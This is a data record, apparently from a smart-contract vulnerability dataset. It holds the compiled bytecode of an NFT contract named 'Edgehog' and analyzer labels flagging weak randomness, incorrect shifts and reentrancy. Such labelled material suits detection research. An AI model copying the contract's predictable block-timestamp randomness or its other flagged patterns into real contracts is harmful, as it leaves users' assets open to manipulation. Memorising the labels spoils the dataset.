60298054600181018255600091909152815161116a917fcb7c14ce178f56e2e8d86ab33ebc0ae081ba8556a00cd122038841867181caac01906020840190614648565b6000808290506001815110156118f75750600092915050565b60198151111561190a5750600092915050565b8060008151811061191d5761191d614dd7565b6020910101516001600160f81b031916600160fd1b14156119415750600092915050565b80600182516119509190614ded565b8151811061196057611960614dd7565b6020910101516001600160f81b031916600160fd1b14156119845750600092915050565b60008160008151811061199957611999614dd7565b01602001516001600160f81b031916905060005b8251811015611ae25760008382815181106119ca576119ca614dd7565b01602001516001600160f81b0319169050600160fd1b811480156119fb5750600160fd1b6001600160f81b03198416145b15611a0c5750600095945050505050565b600360fc1b6001600160f81b0319821610801590611a385750603960f81b6001600160f81b0319821611155b158015611a6e5750604160f81b6001600160f81b0319821610801590611a6c5750602d60f91b6001600160f81b0319821611155b155b8015611aa35750606160f81b6001600160f81b0319821610801590611aa15750603d60f91b6001600160f81b0319821611155b155b8015611abd5750600160fd1b6001600160f81b0319821614155b15611ace5750600095945050505050565b915080611ada81614dbc565b9150506119ad565b506001949350505050565b6000611afc6002546001540390565b60125490915060ff16600114611b445760405162461bcd60e51b815260206004820152600d60248201526c53616c6520696e61637469766560981b6044820152606401610b6a565b6015546001600160a01b0316331415611b905760405162461bcd60e51b815260206004820152600e60248201526d4e6f20537465766520416f6b692160901b6044820152606401610b6a565b600c54821115611bcd5760405162461bcd60e51b8152602060048201526008602482015267546f6f206d616e7960c01b6044820152606401610b6a565b601154600a54600954611be09190614ded565b611bea9190614d5c565b611bf48383614d5c565b1115611c425760405162461bcd60e51b815260206004820152601e60248201527f576f756c6420657863656564206d6178207075626c696320737570706c7900006044820152606401610b6a565b3482600d54611c519190614e2e565b14611c915760405162461bcd60e51b815260206004820152601060248201526f15dc9bdb99c811551208185b5bdd5b9d60821b6044820152606401610b6a565b60005b82811015611d03574233611ca88385614d5c565b604051602001611cba93929190614d74565b60408051601f19818403018152919052805160209091012060166000611ce08486614d5c565b815260208101919091526040016000205580611cfb81614dbc565b915050611c94565b506000905061116a3383613d75565b6001600160a01b038216331415611d3c5760405163b06307db60e01b815260040160405180910390fd5b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000546001600160a01b03163314611dd25760405162461bcd60e51b8152600401610b6a90614cba565b60125462010000900460ff1615611e2b5760405162461bcd60e51b815260206004820152601760248201527f4c6567656e64617269657320616c7265616479207365740000000000000000006044820152606401610b6a565b6000611e3a6002546001540390565b90508160015b600a8111611ecd57600083423385604051602001611e6093929190614d74565b6040516020818303038152906040528051906020012060001c611e839190614e72565b9050611e8e816122c3565b611eba576000818152601660205260409020829055611eac81610d4b565b611eb7836006614e2e565b92505b5080611ec581614dbc565b915050611e40565b50506012805462ff00001916620100001790555050565b6000546001600160a01b03163314611f0e5760405162461bcd60e51b8152600401610b6a90614cba565b601280546001600160a01b039092166301000000026301000000600160b81b0319909216919091179055565b611f45848484613a0f565b6001600160a01b0383163b15158015611f675750611f6584848484613d8f565b155b15611f85576040516368d2bf6b60e11b815260040160405180910390fd5b50505050565b6000611f96836111f7565b9050336001600160a01b03821614611ff05760405162461bcd60e51b815260206004820152601f60248201527f4552433732313a2063616c6c6572206973206e6f7420746865206f776e6572006044820152606401610b6a565b611ff9826118de565b15156001146120415760405162461bcd60e51b81526020600482015260146024820152734e6f7420612076616c6964206e6577206e616d6560601b6044820152606401610b6a565b6000838152602b602052604090819020905160029161205f91614f1f565b602060405180830381855afa15801561207c573d6000803e3d6000fd5b5050506040513d601f19601f8201168201806040525081019061209f9190614f2b565b6002836040516120af9190614d2a565b602060405180830381855afa1580156120cc573d6000803e3d6000fd5b5050506040513d601f19601f820116820180604052508101906120ef9190614f2b565b14156121495760405162461bcd60e51b815260206004820152602360248201527f4e6577206e616d652069732073616d65206173207468652063757272656e74206044820152626f6e6560e81b6064820152608401610b6a565b61215282610daa565b156121975760405162461bcd60e51b815260206004820152601560248201527413985b5948185b1c9958591e481c995cd95c9d9959605a1b6044820152606401610b6a565b6000838152602b6020526040812080546121b090614cef565b9050111561225b576000838152602b60205260409020805461225b91906121d690614cef565b80601f016020809104026020016040519081016040528092919081815260200182805461220290614cef565b801561224f5780601f106122245761010080835404028352916020019161224f565b820191906000526020600020905b81548152906001019060200180831161223257829003601f168201915b50505050506000613e77565b612266826001613e77565b6000838152602b60209081526040909120835161228592850190614648565b50827f7e632a301794d8d4a81ea7e20f37d1947158d36e66403af04ba85dd194b66f1b836040516122b6919061479e565b60405180910390a2505050565b6000818152601660205260408120546064106122e157506001919050565b506000919050565b919050565b60606122f982613987565b6123375760405162461bcd60e51b815260206004820152600f60248201526e151bdad95b881b9bdd08199bdd5b99608a1b6044820152606401610b6a565b6000828152601660205260408120548190612351906123c1565b9150915061239961236185613eb4565b6000868152602b602090815260409182902091516123859392918691889101614f44565b604051602081830303815290604052613fdc565b6040516020016123a99190615099565b60405160208183030381529060405292505050919050565b60608060006123d1846008614143565b60408051600980825261014082019092529192506000919060208201610120803683370190505090506064851115612bf6576124a6601960000180548060200260200160405190810160405280929190818152602001828054801561247d57602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116124445790505b50505050508360008151811061249557612495614dd7565b602002602001015161ffff16614203565b816000815181106124b9576124b9614dd7565b61ffff92909216602092830291909101820152601a80546040805182850281018501909152818152612558939092919083018282801561254057602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116125075790505b50505050508360018151811061249557612495614dd7565b8160018151811061256b5761256b614dd7565b61ffff92909216602092830291909101820152601b8054604080518285028101850190915281815261260a93909291908301828280156125f257602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116125b95790505b50505050508360028151811061249557612495614dd7565b8160028151811061261d5761261d614dd7565b61ffff92909216602092830291909101820152601c805460408051828502810185019091528181526126bc93909291908301828280156126a457602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff168152602001906002019060208260010104928301926001038202915080841161266b5790505b50505050508360038151811061249557612495614dd7565b816003815181106126cf576126cf614dd7565b61ffff92909216602092830291909101820152601d8054604080518285028101850190915281815261276e939092919083018282801561275657602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff168152602001906002019060208260010104928301926001038202915080841161271d5790505b50505050508360048151811061249557612495614dd7565b8160048151811061278157612781614dd7565b61ffff92909216602092830291909101820152601e80546040805182850281018501909152818152612820939092919083018282801561280857602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116127cf5790505b50505050508360058151811061249557612495614dd7565b8160058151811061283357612833614dd7565b61ffff92909216602092830291909101820152601f805460408051828502810185019091528181526128d293909291908301828280156128ba57602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116128815790505b50505050508360068151811061249557612495614dd7565b816006815181106128e5576128e5614dd7565b61ffff92909216602092830291909101820152805460408051828402810184019091528181526129819290918282018282801561296957602002820191906000526020600020906000905b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116129305790505b50505050508360078151811061249557612495614dd7565b8160078151811061299457612994614dd7565b602002602001019061ffff16908161ffff16815250506000816008815181106129bf576129bf614dd7565b602002602001019061ffff16908161ffff1681525050806001815181106129e8576129e8614dd7565b602002602001015161ffff1660131480612a20575080600181518110612a1057612a10614dd7565b602002602001015161ffff166016145b15612a5157600181600581518110612a3a57612a3a614dd7565b602002602001019061ffff16908161ffff16815250505b80600481518110612a6457612a64614dd7565b602002602001015161ffff1660151415612aa457600081600781518110612a8d57612a8d614dd7565b602002602001019061ffff16908161ffff16815250505b80600781518110612ab757612ab7614dd7565b602002602001015161ffff1660041480612aef575080600781518110612adf57612adf614dd7565b602002602001015161ffff166018145b15612b2057600181600481518110612b0957612b09614dd7565b602002602001019061ffff16908161ffff16815250505b80600581518110612b3357612b33614dd7565b602002602001015161ffff1660251415612b7357600181600681518110612b5c57612b5c614dd7565b602002602001019061ffff16908161ffff16815250505b80600581518110612b8657612b86614dd7565b602002602001015161ffff1660241415612bf157600181600681518110612baf57612baf614dd7565b602002602001019061ffff16908161ffff1681525050600081600481518110612bda57612bda614dd7565b602002602001019061ffff16908161ffff16815250505b612d79565b600081600081518110612c0b57612c0b614dd7565b602002602001019061ffff16908161ffff1681525050600081600181518110612c3657612c36614dd7565b602002602001019061ffff16908161ffff1681525050600081600281518110612c6157612c61614dd7565b602002602001019061ffff16908161ffff1681525050600081600381518110612c8c57612c8c614dd7565b602002602001019061ffff16908161ffff1681525050600081600481518110612cb757612cb7614dd7565b602002602001019061ffff16908161ffff1681525050600081600581518110612ce257612ce2614dd7565b602002602001019061ffff16908161ffff1681525050600081600681518110612d0d57612d0d614dd7565b602002602001019061ffff16908161ffff1681525050600081600781518110612d3857612d38614dd7565b602002602001019061ffff16908161ffff16815250508481600881518110612d6257612d62614dd7565b602002602001019061ffff16908161ffff16815250505b6000612e7682600081518110612d9157612d91614dd7565b602002602001015183600181518110612dac57612dac614dd7565b602002602001015184600281518110612dc757612dc7614dd7565b602002602001015185600381518110612de257612de2614dd7565b602002602001015186600481518110612dfd57612dfd614dd7565b602002602001015187600581518110612e1857612e18614dd7565b602002602001015188600681518110612e3357612e33614dd7565b602002602001015189600781518110612e4e57612e4e614dd7565b60200260200101518a600881518110612e6957612e69614dd7565b60200260200101516134a4565b9050612e8181613fdc565b945060648611156130d2576000612ee46040518060400160405280600a815260200169189858dad9dc9bdd5b9960b21b815250612edd600086600081518110612ecc57612ecc614dd7565b602002602001015161ffff166142a7565b6000614369565b612f1c604051806040016040528060048152602001636261636b60e01b815250612edd600187600181518110612ecc57612ecc614dd7565b612f5660405180604001604052806006815260200165626f74746f6d60d01b815250612edd600288600281518110612ecc57612ecc614dd7565b612f9160405180604001604052806007815260200166636c6f7468657360c81b815250612edd600389600381518110612ecc57612ecc614dd7565b612fca604051806040016040528060058152602001640dadeeae8d60db1b815250612edd60048a600481518110612ecc57612ecc614dd7565b613006604051806040016040528060088152602001673432b0b233b2b0b960c11b815250612edd60058b600581518110612ecc57612ecc614dd7565b61303e604051806040016040528060048152602001636579657360e01b815250612edd60068c600681518110612ecc57612ecc614dd7565b613082604051806040016040528060098152602001686163636573736f727960b81b81525061307b60078d600781518110612ecc57612ecc614dd7565b6001614369565b6040516020016130999897969594939291906150de565b6040516020818303038152906040529050806040516020016130bb9190614d2a565b604051602081830303815290604052945050613149565b6000613104604051806040016040528060098152602001686c6567656e6461727960b81b81525061307b60088a6142a7565b6040516020016131149190614d2a565b6040516020818303038152906040529050806040516020016131369190614d2a565b6040516020818303038152906040529450505b505050915091565b601254600090610100900460ff1680156131e8575060125460405163c455279160e01b81526001600160a01b0385811660048301528481169263010000009004169063c455279190602401602060405180830381865afa1580156131b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131dd9190615183565b6001600160a01b0316145b8061321857506001600160a01b0380841660009081526008602090815260408083209386168352929052205460ff165b9392505050565b600061322e6002546001540390565b60125490915060ff166001146132765760405162461bcd60e51b815260206004820152600d60248201526c53616c6520696e61637469766560981b6044820152606401610b6a565b600954613284826001614d5c565b11156132cc5760405162461bcd60e51b8152602060048201526017602482015276576f756c6420657863656564206d617820737570706c7960481b6044820152606401610b6a565b6132d733848461116e565b6133155760405162461bcd60e51b815260206004820152600f60248201526e139bdd081bdb881d1a19481b1a5cdd608a1b6044820152606401610b6a565b33600090815260176020526040902054156133635760405162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e481b5a5b9d195960921b6044820152606401610b6a565b6011805490600061337383614dbc565b909155505033600090815260176020526040812080549161339383614dbc565b91905055504233826040516020016133ad93929190614d74565b60408051601f19818403018152918152815160209283012060009384526016909252822055610d46336001613d75565b6000546001600160a01b031633146134075760405162461bcd60e51b8152600401610b6a90614cba565b6001600160a01b03811661346c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b6a565b6116ce81613d25565b6000546001600160a01b0316331461349f5760405162461bcd60e51b8152600401610b6a90614cba565b600a55565b606060006040518060a00160405280606481526020016156346064913960185460405163423a06ef60e11b815261ffff8e1660048201526001600160a01b03909116906384740dde90602401600060405180830381865afa15801561350d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261353591908101906151a0565b601854604051630ed39fa160e01b815261ffff8e1660048201526001600160a01b0390911690630ed39fa190602401600060405180830381865afa158015613581573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526135a991908101906151a0565b604051806101e001604052806101b281526020016158866101b2913960185460405163167e6d2f60e21b815261ffff8f1660048201526001600160a01b03909116906359f9b4bc90602401600060405180830381865afa158015613611573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261363991908101906151a0565b60405160200161364d95949392919061520d565b60408051808303601f1901815290829052601854630145727b60e01b835261ffff8b16600484015290925082916001600160a01b0390911690630145727b90602401600060405180830381865afa1580156136ac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526136d491908101906151a0565b604051806101e001604052806101ae81526020016156d86101ae91396018546040516325c0401960e01b815261ffff891660048201526001600160a01b03909116906325c0401990602401600060405180830381865afa15801561373c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261376491908101906151a0565b601854604051632ac619eb60e11b815261ffff8c1660048201526001600160a01b039091169063558c33d690602401600060405180830381865afa1580156137b0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526137d891908101906151a0565b6018546040516310aeb2e960e01b815261ffff8c1660048201526001600160a01b03909116906310aeb2e990602401600060405180830381865afa158015613824573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261384c91908101906151a0565b601854604051636c13a52f60e11b815261ffff8f1660048201526001600160a01b039091169063d8274a5e90602401600060405180830381865afa158015613898573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526138c091908101906151a0565b601854604051630ee7fdc960e01b815261ffff8c1660048201526001600160a01b0390911690630ee7fdc990602401600060405180830381865afa15801561390c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261393491908101906151a0565b6040518061020001604052806101cf81526020016154656101cf913960405160200161396899989796959493929190615278565b6040516020818303038152906040529150509998505050505050505050565b600060015482108015610be1575050600090815260056020526040902054600160e01b900460ff161590565b60008281526007602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b6000613a1a82613c0b565b9050836001600160a01b031681600001516001600160a01b031614613a515760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480613a6f5750613a6f8533613151565b80613a8a575033613a7f84610c79565b6001600160a01b0316145b905080613aaa57604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b038416613ad157604051633a954ecd60e21b815260040160405180910390fd5b613add600084876139b3565b6001600160a01b038581166000908152600660209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652600590945282852080546001600160e01b031916909417600160a01b42909216919091021783558701808452922080549193909116613bb1576001548214613bb157805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050505050565b600061321882602d54856143c9565b604080516060810182526000808252602082018190529181019190915281600154811015613d0c57600081815260056020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290613d0a5780516001600160a01b031615613ca1579392505050565b5060001901600081815260056020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215613d05579392505050565b613ca1565b505b604051636f96cda160e11b815260040160405180910390fd5b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61116a8282604051806020016040528060008152506143df565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290613dc4903390899088908890600401615339565b6020604051808303816000875af1925050508015613dff575060408051601f3d908101601f19168201909252613dfc91810190615376565b60015b613e5a573d808015613e2d576040519150601f19603f3d011682016040523d82523d6000602084013e613e32565b606091505b508051613e52576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050949350505050565b80602c613e8384611700565b604051613e909190614d2a565b908152604051908190036020019020805491151560ff199092169190911790555050565b606081613ed85750506040805180820190915260018152600360fc1b602082015290565b8160005b8115613f025780613eec81614dbc565b9150613efb9050600a83614e1a565b9150613edc565b6000816001600160401b03811115613f1c57613f1c6147f6565b6040519080825280601f01601f191660200182016040528015613f46576020820181803683370190505b509050815b8515613fd357613f5c600182614ded565b90506000613f6b600a88614e1a565b613f7690600a614e2e565b613f809088614ded565b613f8b906030614e4d565b905060008160f81b905080848481518110613fa857613fa8614dd7565b60200101906001600160f81b031916908160001a905350613fca600a89614e1a565b97505050613f4b565b50949350505050565b6060815160001415613ffc57505060408051602081019091526000815290565b6000604051806060016040528060408152602001615698604091399050600060038451600261402b9190614d5c565b6140359190614e1a565b614040906004614e2e565b9050600061404f826020614d5c565b6001600160401b03811115614066576140666147f6565b6040519080825280601f01601f191660200182016040528015614090576020820181803683370190505b509050818152600183018586518101602084015b818310156140fe5760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b938201939093526004016140a4565b600389510660018114614118576002811461412957614135565b613d3d60f01b600119830152614135565b603d60f81b6000198301525b509398975050505050505050565b6060816001600160401b0381111561415d5761415d6147f6565b604051908082528060200260200182016040528015614186578160200160208202803683370190505b50905060005b828110156141fc5760408051602081018690529081018290526141c5906060016040516020818303038152906040528051906020012090565b8282815181106141d7576141d7614dd7565b61ffff90921660209283029190910190910152806141f481614dbc565b91505061418c565b5092915050565b60008061421261271084614e72565b9050600060015b85518161ffff16116142a1576000868261ffff168151811061423d5761423d614dd7565b6020026020010151905082816142539190615393565b61ffff168461ffff1610801561427157508261ffff168461ffff1610155b1561428157509250610be1915050565b61428b8184615393565b9250508080614299906153b9565b915050614219565b50600080fd5b6060602183600981106142bc576142bc614dd7565b0182815481106142ce576142ce614dd7565b9060005260206000200180546142e390614cef565b80601f016020809104026020016040519081016040528092919081815260200182805461430f90614cef565b801561435c5780601f106143315761010080835404028352916020019161435c565b820191906000526020600020905b81548152906001019060200180831161433f57829003601f168201915b5050505050905092915050565b6040805180820190915260018152600b60fa1b6020820152606090821561439b57506040805160208101909152600081525b8484826040516020016143b0939291906153db565b6040516020818303038152906040529150509392505050565b6000826143d685846145a4565b14949350505050565b6001546001600160a01b03841661440857604051622e076360e81b815260040160405180910390fd5b826144265760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b038416600081815260066020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168b0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168b01811690920217909155858452600590925290912080546001600160e01b0319168317600160a01b42909316929092029190911790558190818501903b1561454f575b60405182906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46145176000878480600101955087613d8f565b614534576040516368d2bf6b60e11b815260040160405180910390fd5b808214156144cc57826001541461454a57600080fd5b614595565b5b6040516001830192906001600160a01b038816906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a480821415614550575b50600155611f85600085838684565b600081815b845181101561185a5760008582815181106145c6576145c6614dd7565b60200260200101519050808311614608576040805160208101859052908101829052606001604051602081830303815290604052805190602001209250614635565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061464081614dbc565b9150506145a9565b82805461465490614cef565b90600052602060002090601f01602090048101928261467657600085556146bc565b82601f1061468f57805160ff19168380011785556146bc565b828001600101855582156146bc579182015b828111156146bc5782518255916020019190600101906146a1565b506146c89291506146cc565b5090565b5b808211156146c857600081556001016146cd565b6001600160a01b03811681146116ce57600080fd5b60006020828403121561470857600080fd5b8135613218816146e1565b6001600160e01b0319811681146116ce57600080fd5b60006020828403121561473b57600080fd5b813561321881614713565b60005b83811015614761578181015183820152602001614749565b83811115611f855750506000910152565b6000815180845261478a816020860160208601614746565b601f01601f19169290920160200192915050565b6020815260006132186020830184614772565b6000602082840312156147c357600080fd5b5035919050565b600080604083850312156147dd57600080fd5b82356147e8816146e1565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b0381118282101715614834576148346147f6565b604052919050565b60006001600160401b03821115614855576148556147f6565b50601f01601f191660200190565b60006148766148718461483c565b61480c565b905082815283838301111561488a57600080fd5b828260208301376000602084830101529392505050565b600082601f8301126148b257600080fd5b61321883833560208501614863565b6000602082840312156148d357600080fd5b81356001600160401b038111156148e957600080fd5b6111ef848285016148a1565b60008060006060848603121561490a57600080fd5b8335614915816146e1565b92506020840135614925816146e1565b929592945050506040919091013590565b6020808252825182820181905260009190848201906040850190845b8181101561496e57835183529284019291840191600101614952565b50909695505050505050565b6000806040838503121561498d57600080fd5b50508035926020909101359150565b60008083601f8401126149ae57600080fd5b5081356001600160401b038111156149c557600080fd5b6020830191508360208260051b85010111156149e057600080fd5b9250929050565b6000806000604084860312156149fc57600080fd5b8335614a07816146e1565b925060208401356001600160401b03811115614a2257600080fd5b614a2e8682870161499c565b9497909650939450505050565b60008060408385031215614a4e57600080fd5b823591506020830135614a60816146e1565b809150509250929050565b60008060408385031215614a7e57600080fd5b8235614a89816146e1565b915060208301358015158114614a6057600080fd5b60008060008060808587031215614ab457600080fd5b8435614abf816146e1565b93506020850135614acf816146e1565b92506040850135915060608501356001600160401b03811115614af157600080fd5b8501601f81018713614b0257600080fd5b614b1187823560208401614863565b91505092959194509250565b60008060408385031215614b3057600080fd5b8235915060208301356001600160401b03811115614b4d57600080fd5b614b59858286016148a1565b9150509250929050565b604081526000614b766040830185614772565b8281036020840152614b888185614772565b95945050505050565b60008060408385031215614ba457600080fd5b8235614baf816146e1565b91506020830135614a60816146e1565b60008060208385031215614bd257600080fd5b82356001600160401b03811115614be857600080fd5b614bf48582860161499c565b90969095509350505050565b803561ffff811681146122e957600080fd5b60008060008060008060008060006101208a8c031215614c3157600080fd5b614c3a8a614c00565b9850614c4860208b01614c00565b9750614c5660408b01614c00565b9650614c6460608b01614c00565b9550614c7260808b01614c00565b9450614c8060a08b01614c00565b9350614c8e60c08b01614c00565b9250614c9c60e08b01614c00565b9150614cab6101008b01614c00565b90509295985092959850929598565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680614d0357607f821691505b60208210811415614d2457634e487b7160e01b600052602260045260246000fd5b50919050565b60008251614d3c818460208701614746565b9190910192915050565b634e487b7160e01b600052601160045260246000fd5b60008219821115614d6f57614d6f614d46565b500190565b92835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b600060ff821660ff811415614db357614db3614d46565b60010192915050565b6000600019821415614dd057614dd0614d46565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600082821015614dff57614dff614d46565b500390565b634e487b7160e01b600052601260045260246000fd5b600082614e2957614e29614e04565b500490565b6000816000190483118215151615614e4857614e48614d46565b500290565b600060ff821660ff84168060ff03821115614e6a57614e6a614d46565b019392505050565b600082614e8157614e81614e04565b500690565b8054600090600181811c9080831680614ea057607f831692505b6020808410821415614ec257634e487b7160e01b600052602260045260246000fd5b818015614ed65760018114614ee757614f13565b60ff19861689528489019650614f13565b876000528160002060005b86811015614f0b5781548b820152908501908301614ef2565b505084890196505b50505050505092915050565b60006132188284614e86565b600060208284031215614f3d57600080fd5b5051919050565b717b226e616d65223a2245646765686f67202360701b81528451600090614f72816012850160208a01614746565b600160fd1b601291840191820152614f8d6013820187614e86565b90507f222c20226465736372697074696f6e223a202245646765686f6773206c69766581527f206f6e207468652063757474696e672065646765206f6620457468657265756d60208201527f20626c6f636b636861696e20616e642061726520656467792061732068656c6c60408201526e2e222c2022747261697473223a205b60881b6060820152845161502981606f840160208901614746565b7f5d2c2022696d616765223a22646174613a696d6167652f7376672b786d6c3b62606f929091019182015265185cd94d8d0b60d21b608f8201528351615076816095840160208801614746565b61508d60958284010161227d60f01b815260020190565b98975050505050505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516150d181601d850160208701614746565b91909101601d0192915050565b6000895160206150f18285838f01614746565b8a51918401916151048184848f01614746565b8a519201916151168184848e01614746565b89519201916151288184848d01614746565b885192019161513a8184848c01614746565b875192019161514c8184848b01614746565b865192019161515e8184848a01614746565b85519201916151708184848901614746565b919091019b9a5050505050505050505050565b60006020828403121561519557600080fd5b8151613218816146e1565b6000602082840312156151b257600080fd5b81516001600160401b038111156151c857600080fd5b8201601f810184136151d957600080fd5b80516151e76148718261483c565b8181528560208385010111156151fc57600080fd5b614b88826020830160208601614746565b6000865161521f818460208b01614746565b865190830190615233818360208b01614746565b8651910190615246818360208a01614746565b8551910190615259818360208901614746565b845191019061526c818360208801614746565b01979650505050505050565b60008a5161528a818460208f01614746565b8a5161529c8183860160208f01614746565b8a5191840101906152b1818360208e01614746565b89516152c38183850160208e01614746565b89519290910101906152d9818360208c01614746565b87516152eb8183850160208c01614746565b8751929091010190615301818360208a01614746565b85516153138183850160208a01614746565b8551929091010190615329818360208801614746565b019b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061536c90830184614772565b9695505050505050565b60006020828403121561538857600080fd5b815161321881614713565b600061ffff8083168185168083038211156153b0576153b0614d46565b01949350505050565b600061ffff808316818114156153d1576153d1614d46565b6001019392505050565b6f3d913a3930b4ba2fba3cb832911d101160811b81528351600090615407816010850160208901614746565b6c111610113b30b63ab2911d101160991b601091840191820152845161543481601d840160208901614746565b61227d60f01b601d9290910191820152835161545781601f840160208801614746565b01601f019594505050505056fe3c7374796c653e2365646765686f677b73686170652d72656e646572696e673a20637269737065646765733b20696d6167652d72656e646572696e673a202d6d6f7a2d63726973702d65646765733b20696d6167652d72656e646572696e673a206f7074696d697a6553706565643b20696d6167652d72656e646572696e673a202d7765626b69742d63726973702d65646765733b20696d6167652d72656e646572696e673a202d7765626b69742d6f7074696d697a652d636f6e74726173743b20696d6167652d72656e646572696e673a2063726973702d65646765733b20696d6167652d72656e646572696e673a20706978656c617465643b202d6d732d696e746572706f6c6174696f6e2d6d6f64653a206e6561726573742d6e65696768626f723b7d2e76696265207b20616e696d6174696f6e3a20302e3573207669626520696e66696e69746520616c7465726e61746520656173652d696e2d6f75743b207d20406b65796672616d65732076696265207b2066726f6d207b207472616e73666f726d3a207472616e736c6174655928307078293b207d20746f207b207472616e73666f726d3a207472616e736c6174655928312e3525293b207d207d3c2f7374796c653e3c2f7376673e3c7376672069643d2765646765686f672720786d6c6e733d27687474703a2f2f7777772e77332e6f72672f323030302f737667272076696577426f783d273020302032353620323536272077696474683d2736343027206865696768743d27363430273e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c6720636c6173733d2776696265273e3c696d61676520687265663d27646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e5355684555674141415141414141454142414d4141414375584c5656414141414656424d564555414141444c7461456e44516954673272736d4a6b414141425a566c4c304c6c72494141414141585253546c4d41514f62595a674141414c424a52454655654e72743173304a777a414d674e47756b425779516c666f436c32682b342f5147437751415a4f666d355833727048516477702b415141414141414141414141414a79784a6e6633424167514d482f4170377579467a73434241695950794248764c736c695a6b6c615450357541414241755950694968306643676966787342416751384c79422f4679424177444d4447674543424e515032427339534f4b3441414543366751306f36506832776b51494b4275774f6948464d64445069354167494236416331365944387651494341656745414141414141414141414141414145415a663838702b644442655674444141414141456c46546b5375516d4343272f3e3c2f673e3c696d61676520687265663d27646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e5355684555674141415141414141454142414d4141414375584c5656414141414431424d56455541414143546732724c7461456e4451685a566c4955746573764141414141585253546c4d41514f62595a674141414d684a52454655654e72743262454e784341515255473351417658416932342f356f4f533135686d644e423676564d516b4477587777624141414141414141414141414141414141414141414d437132757a4e746b694141414735416d493862424d4342416a494731424f737767424167546b43756a6a6f2f3248326767514943422f774f656d6e415149454a41765944342b52745354414145433368647769494134425167516b43666755427342416753384e364130416751494544414c4b49304141514a79426f52797366704149554341674f63482f50753476492b48474263675145442b6747346346794241514e36414f6f69375069354167494438416463374151494570416a34416a67534f4b376a357a55644141414141456c46546b5375516d4343272f3ea264697066735822122054450b98fc5a7a8f7c30716770618872888aad3c2dc45010352db82b455c95ca64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
